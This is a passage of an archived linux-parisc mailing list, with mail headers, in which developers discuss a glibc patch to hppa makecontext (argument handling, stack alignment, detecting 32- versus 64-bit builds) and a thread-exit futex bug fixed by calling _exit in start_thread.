YXA7CiAgIGludCBpOwogCi0gIGlmIChhcmdjID4gOCkKLSAgICB7Ci0gICAgICBmcHJpbnRmIChz
dGRlcnIsIF8oIlwKLW1ha2Vjb250ZXh0OiBkb2VzIG5vdCBrbm93IGhvdyB0byBoYW5kbGUgbW9y
ZSB0aGFuIDggYXJndW1lbnRzXG4iKSk7Ci0gICAgICBleGl0ICgtMSk7Ci0gICAgfQotCi0gIC8q
IEdldCBzdGFjayBwb2ludGVyLiAgKi8KLSAgc3AgPSAodW5zaWduZWQgaW50ICopIHVjcC0+dWNf
c3RhY2suc3Nfc3A7CisgIC8qIEdldCBzdGFjayBwb2ludGVyICg2NC1ieXRlIGFsaWduZWQpLiAg
Ki8KKyAgc3AgPSAodW5zaWduZWQgaW50ICopKCgoKHVuc2lnbmVkIGludCkgdWNwLT51Y19zdGFj
ay5zc19zcCkgCisJCQkgKyBGUkFNRV9TSVpFICsgYXJnYyArIFNUQUNLX0FMSUdOKSAKKwkJICAg
ICAgICAmIH4oU1RBQ0tfQUxJR04gLSAxKSk7CiAKICAgLyogU3RvcmUgYWRkcmVzcyB0byBqdW1w
IHRvLiAgKi8KICAgdWNwLT51Y19tY29udGV4dC5zY19nclsyXSA9ICh1bnNpZ25lZCBsb25nKSBm
dW5jOwpAQCAtNTAsMjkgKzQ3LDI3IEBAIG1ha2Vjb250ZXh0OiBkb2VzIG5vdCBrbm93IGhvdyB0
byBoYW5kbGUgbW9yZSB0aGFuIDggYXJndW1lbnRzXG4iKSk7CiAgIHZhX3N0YXJ0IChhcCwgYXJn
Yyk7CiAgIC8qIEhhbmRsZSBhcmd1bWVudHMuICAqLwogICBmb3IgKGkgPSAwOyBpIDwgYXJnYzsg
KytpKQotICAgIHN3aXRjaCAoaSkKLSAgICAgIHsKLSAgICAgIGNhc2UgMDoKLSAgICAgIGNhc2Ug
MToKLSAgICAgIGNhc2UgMjoKLSAgICAgIGNhc2UgMzoKLSAgICAgIAl1Y3AtPnVjX21jb250ZXh0
LnNjX2dyWzI2LWldID0gdmFfYXJnIChhcCwgaW50KTsKLQlicmVhazsKLSAgICAgIGNhc2UgNDoK
LSAgICAgIGNhc2UgNToKLSAgICAgIGNhc2UgNjoKLSAgICAgIGNhc2UgNzoKLQlpZiAoc2l6ZW9m
KHVuc2lnbmVkIGxvbmcpID09IDQpIHsKLQkJLyogMzJiaXQ6IHB1dCBhcmc3LWFyZzQgb24gc3Rh
Y2suICAqLwotCQlzcFs3LWldID0gdmFfYXJnIChhcCwgaW50KTsKLQl9IGVsc2UgewotCQkvKiA2
NGJpdDogcjE5LXIyMiBhcmUgYXJnNy1hcmc0LiAgKi8KLQkJdWNwLT51Y19tY29udGV4dC5zY19n
clsyMis0LWldID0gdmFfYXJnIChhcCwgaW50KTsKKyAgICB7CisgICAgICBpZiAoaSA8IDQpCisJ
eworCSAgdWNwLT51Y19tY29udGV4dC5zY19nclsyNi1pXSA9IHZhX2FyZyAoYXAsIGludCk7CisJ
ICBjb250aW51ZTsKIAl9Ci0JYnJlYWs7Ci0gICAgICB9Ci0gIHZhX2VuZCAoYXApOwogCisgICAg
ICBpZiAoKGkgPCA4KSAmJiAoc2l6ZW9mKHVuc2lnbmVkIGludCkgPT0gOCkpCisJeworCSAgLyog
NjRiaXQ6IHIxOS1yMjIgYXJlIGFyZzctYXJnNC4gICovCisJICB1Y3AtPnVjX21jb250ZXh0LnNj
X2dyWzIyKzQtaV0gPSB2YV9hcmcgKGFwLCBpbnQpOworCSAgY29udGludWU7CisJfSAKKworICAg
ICAgLyogQWxsIG90aGVyIGFyZ3VtZW50cyBnbyBvbiB0aGUgc3RhY2suICAqLworICAgICAgc3Bb
LTEgKiAoRlJBTUVfU0laRSArIDEgKyBpKV0gPSB2YV9hcmcgKGFwLCBpbnQpOworICAgIH0KKyAg
dmFfZW5kIChhcCk7IAorCisgIC8qIEFkanVzdCB0aGUgc3RhY2sgcG9pbnRlciB0byBsYXN0IHVz
ZWQgYXJndW1lbnQuICAqLworICB1Y3AtPnVjX21jb250ZXh0LnNjX2dyWzMwXSA9ICh1bnNpZ25l
ZCBpbnQpIHNwOwogfQogCiAK
--0016e6dab18e3017ea047e7b8875--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Questions about hppa *context functions.
Date: Sun, 31 Jan 2010 21:47:43 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <4B65EC6F.9020205@gmx.de>
References: <119aab441001310825x6fa7254u85c00dc1b0588950@mail.gmail.com> <119aab441001311215p6c13d7a7tcee4747393b1efbe@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1264970877 11875 80.91.229.12 (31 Jan 2010 20:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 20:47:57 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	libc-ports@sourceware.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 21:47:54 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nbgi1-0006oq-Vw
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 21:47:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753146Ab0AaUrx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 15:47:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754108Ab0AaUrx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 15:47:53 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:41241 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753146Ab0AaUrw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 15:47:52 -0500
Original-Received: (qmail invoked by alias); 31 Jan 2010 20:47:45 -0000
Original-Received: from p54AD1522.dip0.t-ipconnect.de (EHLO halden.box) [84.173.21.34]
  by mail.gmx.net (mp014) with SMTP; 31 Jan 2010 21:47:45 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/komkNxE/kwoTvRfkHIUyEHOQv6UFcgh8Pch68LA
	DQXpHba5/tFuZL
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100120 Fedora/3.0.1-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.1
In-Reply-To: <119aab441001311215p6c13d7a7tcee4747393b1efbe@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.54000000000000004
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2599
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2599>

On 01/31/2010 09:15 PM, Carlos O'Donell wrote:
> On Sun, Jan 31, 2010 at 11:25 AM, Carlos O'Donell
> <carlos@systemhalted.org>  wrote:
>> Helge,
>>
>> On December 15th, 2009 an additional *context test was added to glibc,
>> see stdlib/tst-makecontext3.c.
>>
>> This test fails on hppa with:
>> ~~~
>> makecontext: does not know how to handle more than 8 arguments
>> ~~~
>
> New patch attached with additional changes:
> * Align the incoming stack to 64-bytes.
> * Adjust for frame.
> * Adjust saved stack pointer.
>
> The following patch allows the new test to pass for the 32-bit runtime.
>
> I can't guarantee this works for a 64-bit runtime.
>
> Helge, can you comment on the attached patch?

Carlos,

thanks a lot for your work!

First of all, if it works, I'm fine with it.

One minor question:
I'm used to test sizeof long instead of sizeof int to check for 32/64bit.
You changed it to "(sizeof(unsigned int) == 8)".
I always thought a long is usually the type of a register, while an int can be anything.

> 1. Why limit the number of input arguments to 8?

I didn't had real reasons.
At some point I read that software usually should not rely on the fact that the
*context funtions  can handle more than 4 arguments. To be on the safe side, software
should better hand over a pointer to a struct in one of the first 4 arguments.
But with your patch, which extends it for parisc to more than 8 arguments, it's even better :-)

> 2. It doesn't appear that the current implementation transfers
> ucp->uc_stack.ss_sp to the stack pointer when makecontext() is called.

You seem to have fixed this in your patch.

> 3. POSIX says that all the arguments must be of type int, but in a
> comment you write "XXX: This implementation only handles integer
> arguments."
> Is there any reason this comment should stay there?

Yep. Just drop it.


Again, I didn't tested you patch, but just by looking at it, it seems OK.

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Sun, 31 Jan 2010 22:14:21 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <4B65F2AD.3060408@gmx.de>
References: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>	 <4B47A130.8060603@gmx.de>	 <119aab441001081344j38000314p1931df34149eabd3@mail.gmail.com>	 <4B524912.4070204@gmx.de> <119aab441001290953r74009887x7be7173bfad95d1e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1264972860 20083 80.91.229.12 (31 Jan 2010 21:21:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 21:21:00 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 22:20:57 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NbhE0-0006ct-6d
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 22:20:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751526Ab0AaVUy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 16:20:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752857Ab0AaVUy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 16:20:54 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:40180 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751526Ab0AaVUx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 16:20:53 -0500
Original-Received: (qmail invoked by alias); 31 Jan 2010 21:14:24 -0000
Original-Received: from p54AD1522.dip0.t-ipconnect.de (EHLO halden.box) [84.173.21.34]
  by mail.gmx.net (mp066) with SMTP; 31 Jan 2010 22:14:24 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19BKKBnT/5BVJHIdVOne7BB8ig6UuNiqEgBn9ekgE
	ohYfIvHBpvVIKU
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100120 Fedora/3.0.1-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.1
In-Reply-To: <119aab441001290953r74009887x7be7173bfad95d1e@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2600
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2600>

On 01/29/2010 06:53 PM, Carlos O'Donell wrote:
> On Sat, Jan 16, 2010 at 6:17 PM, Helge Deller<deller@gmx.de>  wrote:
>> This coding seems to indicate that we call _exit(), but we aren't (as
>> you see above in the strace).
>> So I'm wondering if the "bl _exit,%rp" needs changing.
>> Something with HIDDEN_JUMPTARGET(_exit) or similar, so that
>> _exit() instead of exit() is called?
>>
>> Actually I did tested this with the minifail test program, and changed
>> thread_run() to call _exit(0) at the end instead of "return 0":
>> void* thread_run(void* arg) {
>>         ...
>> /*      return (void *)&status;  */
>>         _exit(0);
>> }
>> With strace I then suddenly got exit_group() which seems more correct:
>> [pid  1910] write(1, "Thread OK.\n", 11) = 11
>> [pid  1910] exit_group(0)               = ?
>
> I agree with this analysis. I'm testing a change which uses
> HIDDEN_JUMPTARGET(). I will tell you how it goes.

I think I tested it once, and it doesn't help.
Threads are started by calling start_thread(), and I think we need changes there, e.g. (untested):

diff -up ./nptl/pthread_create.c.org ./nptl/pthread_create.c
--- ./nptl/pthread_create.c.org 2010-01-17 20:54:19.000000000 +0100
+++ ./nptl/pthread_create.c     2010-01-17 20:56:24.000000000 +0100
@@ -316,7 +316,7 @@ start_thread (void *arg)
       is no thread left.  */
    if (__builtin_expect (atomic_decrement_and_test (&__nptl_nthreads), 0))
      /* This was the last thread.  */
-    exit (0);
+    _exit (0);
                                                                                                                                            
    /* Report the death of the thread if this is wanted.  */
    if (__builtin_expect (pd->report_events, 0))
  

> Calling exit_group is important for threads.

Yep.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Questions about hppa *context functions.
Date: Sun, 31 Jan 2010 18:47:24 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <119aab441001311547o7d605b1dqab7908d0d3077ddc@mail.gmail.com>
References: <119aab441001310825x6fa7254u85c00dc1b0588950@mail.gmail.com>
	 <119aab441001311215p6c13d7a7tcee4747393b1efbe@mail.gmail.com>
	 <4B65EC6F.9020205@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1264981653 28481 80.91.229.12 (31 Jan 2010 23:47:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 23:47:33 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	libc-ports@sourceware.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 00:47:27 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NbjVm-0007ij-Tk
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 00:47:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754218Ab0AaXr0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 18:47:26 -0500
Original-Received: from ey-out-2122.google.com ([74.125.78.24]:60199 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754212Ab0AaXrZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 18:47:25 -0500
Original-Received: by ey-out-2122.google.com with SMTP id d26so963301eyd.19
        for <linux-parisc@vger.kernel.org>; Sun, 31 Jan 2010 15:47:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=7C5xG77oI9DHDmgccuXEuThvmAE5Q5cye7AXBR0rT2g=;
        b=pmQEjTt1yiA8AWdDhUmQFY4zG0/YZDvPgMhKki1i6Pjdg1aBps6ovfXI8xGkYpQ51D
         8IDQ4Q11aYpHatR3NrbuyKYlyMx3+ZXzVhqK6blrLwMlMZqAISVAd/C9GPOtcrxIQP2k
         8j1z6vgjkxzAJhRjK0qNoBQrmUJyj00wVAzYA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=sBklGVRsAELBTBYmCjrd5W4rgouOlMDGYXTgLSr5EeI06YiQzEJujBFk8ETnXr2ey4
         oDovoc4J+zV2Y8xKfWuCjQWo6GumWaqku1JRduEw4o3Vg0nS1eBAiyi/gH+YMucTlmHF
         dFwq5fFggr3c3ikQavwx6PTJy2fcsCNsvYfeo=
Original-Received: by 10.216.90.138 with SMTP id e10mr2026310wef.150.1264981644043; 
	Sun, 31 Jan 2010 15:47:24 -0800 (PST)
In-Reply-To: <4B65EC6F.9020205@gmx.de>
X-Google-Sender-Auth: bae9db98800cc673
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2601
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2601>

On Sun, Jan 31, 2010 at 3:47 PM, Helge Deller <deller@gmx.de> wrote:
> Carlos,
>
> thanks a lot for your work!
>
> First of all, if it works, I'm fine with it.
>
> One minor question:
> I'm used to test sizeof long instead of sizeof int to check for 32/64=
bit.
> You changed it to "(sizeof(unsigned int) =3D=3D 8)".
> I always thought a long is usually the type of a register, while an i=
nt can
> be anything.

You are correct, this code is wrong. Since hppa64 is LP64, and hppa32
is ILP32, the only way to tell the difference between the two is by
using "sizeof(unsigned long)" or "sizeof(void *)", the two types which
differ between the ABIs.

>> 1. Why limit the number of input arguments to 8?
>
> I didn't had real reasons.
> At some point I read that software usually should not rely on the fac=
t that
> the
> *context funtions =A0can handle more than 4 arguments. To be on the s=
afe side,
> software
> should better hand over a pointer to a struct in one of the first 4
> arguments.
> But with your patch, which extends it for parisc to more than 8 argum=
ents,
> it's even better :-)

OK, perfect, the new implementation should handle as many arguments as
you have stack space.

>> 2. It doesn't appear that the current implementation transfers
>> ucp->uc_stack.ss_sp to the stack pointer when makecontext() is calle=
d.
>
> You seem to have fixed this in your patch.

Yes, I did fix this, I was just curious if you considered this in the
initial implementation?

>> 3. POSIX says that all the arguments must be of type int, but in a
>> comment you write "XXX: This implementation only handles integer
>> arguments."
>> Is there any reason this comment should stay there?
>
> Yep. Just drop it.

Thanks.

> Again, I didn't tested you patch, but just by looking at it, it seems=
 OK.

Thanks.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Sun, 31 Jan 2010 19:26:12 +73900 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <20100201002612.F0A754EA9@hiauly1.hia.nrc.ca>
References: <4B65F2AD.3060408@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1264983979 1053 80.91.229.12 (1 Feb 2010 00:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 00:26:19 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 01:26:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nbk7L-00013Z-Hs
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 01:26:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754475Ab0BAA0O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 19:26:14 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2580 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754467Ab0BAA0O (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 19:26:14 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F0A754EA9; Sun, 31 Jan 2010 19:26:12 -0500 (EST)
In-Reply-To: <4B65F2AD.3060408@gmx.de> from "Helge Deller" at Jan 31, 2010 10:14:21 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2602
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2602>

> >> Actually I did tested this with the minifail test program, and changed
> >> thread_run() to call _exit(0) at the end instead of "return 0":
> >> void* thread_run(void* arg) {
> >>         ...
> >> /*      return (void *)&status;  */
> >>         _exit(0);
> >> }
> >> With strace I then suddenly got exit_group() which seems more correct:
> >> [pid  1910] write(1, "Thread OK.\n", 11) = 11
> >> [pid  1910] exit_group(0)               = ?

Did this fix minifail?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 1 Feb 2010 07:58:56 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab441002010458g25373efex418886aca95ff4bd@mail.gmail.com>
References: <4B65F2AD.3060408@gmx.de>
	 <20100201002612.F0A754EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1265029593 15068 80.91.229.12 (1 Feb 2010 13:06:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 13:06:33 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 14:06:30 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nbvyy-000524-LR
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 14:06:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753192Ab0BANGY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 08:06:24 -0500
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:53675 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753047Ab0BANGX convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 08:06:23 -0500
X-Greylist: delayed 445 seconds by postgrey-1.27 at vger.kernel.org; Mon, 01 Feb 2010 08:06:23 EST
Original-Received: by wwi18 with SMTP id 18so353819wwi.19
        for <linux-parisc@vger.kernel.org>; Mon, 01 Feb 2010 05:06:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=1scy5Flnm8U/j0biFEU3S9ntyOFhQmsLAO/lsAq5uKA=;
        b=JW/wXVZwBPezomGofTq6Qw+D9d4oBzSEOHvd25g38dlWJQtGJW9Hfu1VnI6tQl5OBX
         NRDQKHVSWy9XvlJHHD0yOP8oCqSc82JF0WB1qNnewcdIixAc1wxWoPHfotwCOhFozHBm
         qf8b17k7cjZGC0GgVNMjXZHVs1TNfhJ8wN62c=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=TzeTIEQlDsLkjgkmnZAaEaY7vFpH7LJhtvxhH+wr54alb//eyBI70I6nJ5TldhRNW3
         c+md6Z0DVUIYRKTC1XP+7dEgFdKH34rWxPCYq55Hw7MVr2vIYT/TN8nDijD3vxN3X4J1
         5ya/a8QNOHuq3fHSediiW6Ck/2Odbxxce3qOc=
Original-Received: by 10.216.90.208 with SMTP id e58mr2703332wef.57.1265029137178; Mon, 
	01 Feb 2010 04:58:57 -0800 (PST)
In-Reply-To: <20100201002612.F0A754EA9@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: ae982f61d52e5417
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2603
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2603>

On Thu, Jan 28, 2010 at 11:56 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> >> Actually I did tested this with the minifail test program, and ch=
anged
>> >> thread_run() to call _exit(0) at the end instead of "return 0":
>> >> void* thread_run(void* arg) {
>> >> =A0 =A0 =A0 =A0 ...
>> >> /* =A0 =A0 =A0return (void *)&status; =A0*/
>> >> =A0 =A0 =A0 =A0 _exit(0);
>> >> }
>> >> With strace I then suddenly got exit_group() which seems more cor=
rect:
>> >> [pid =A01910] write(1, "Thread OK.\n", 11) =3D 11
>> >> [pid =A01910] exit_group(0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =3D ?
>
> Did this fix minifail?

Do you have a copy of minifail I can run as a contained test case?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sys_accept4, SOCK_CLOEXEC, misc, bonghits, and others...
Date: Mon, 1 Feb 2010 08:54:27 -0500
Lines: 230
Approved: news@gmane.org
Message-ID: <20100201135427.GA24051@bombadil.infradead.org>
References: <20091226182050.GH11593@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265032476 25582 80.91.229.12 (1 Feb 2010 13:54:36 GMT)
